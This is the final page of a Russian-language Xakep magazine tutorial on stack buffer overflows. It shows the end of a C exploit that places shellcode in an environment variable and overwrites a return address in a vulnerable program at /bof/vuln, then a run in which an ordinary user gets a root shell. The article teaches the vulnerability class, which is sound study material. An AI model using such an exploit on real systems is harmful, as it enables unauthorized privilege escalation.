Переполнение буфера в стеке. Шествие второе

kas1e

Xakep, номер #051, стр. 051-060-5


// теперь посчитаем адрес нашего шеллкода, по которому этот шеллкод ляжет при

// использовании execle функции (она, в общем-то, и засунет шеллкод во внешнюю

// переменную)

int ret = 0xbfffffff - 5 - strlen(shellcode) - strlen("/bof/vuln");

// вот теперь положим полученный адрес в 9-й,10-й,11-й и 12-й байты буфера

int i;

for (i = 0 ; (i < 12) ;i +=4) // цикл с прибавлением по 4 байта

*ap++ = ret;

// и, наконец, последний штрих: мы запускаем уязвимую программу с нашим переполняющим

// буфером, содержащим в конце адрес шеллкода, и с нашей новой внешней переменной (этим

// самым шеллкодом)

execle("/bof/vuln","vuln",buf,NULL,enva);

}

Теперь откомпилим эксплоит и перезайдем под обычным пользователем:

[bof]# gcc exploit.c -o exploit

[bof]# su just_user

[just_user]$

И, наконец, запуск:

[just_user]$ /bof/exploit

sh-2.04# id

uid=0(root) gid=555(just_user)

Вот и финал! После долгих разговоров мы получили рута.

Разбор полетов

В этой статье мы рассмотрели класс уязвимостей, называемых переполнением буфера, и оценили все последствия, которые влечет за собой рассеянное программирование. В двух частях статьи я попытался дать максимальное количество информации. Возможно, в некоторые моменты нелегко вникнуть сразу: ищи документацию, читай и учись. Дальше хотелось бы осветить такие интересные проблемы, как ошибки форматных строк, переполнения bss-секций и heap, race condition и многое другое.

ci a.

Что стоит почитать:

Smashing The Stack For Fun And Profit by Aleph1.

Buffer Overflows Demystified.

Питер Абель. Программирование на ассемблере.

Назад на стр. 051-060-4  Содержание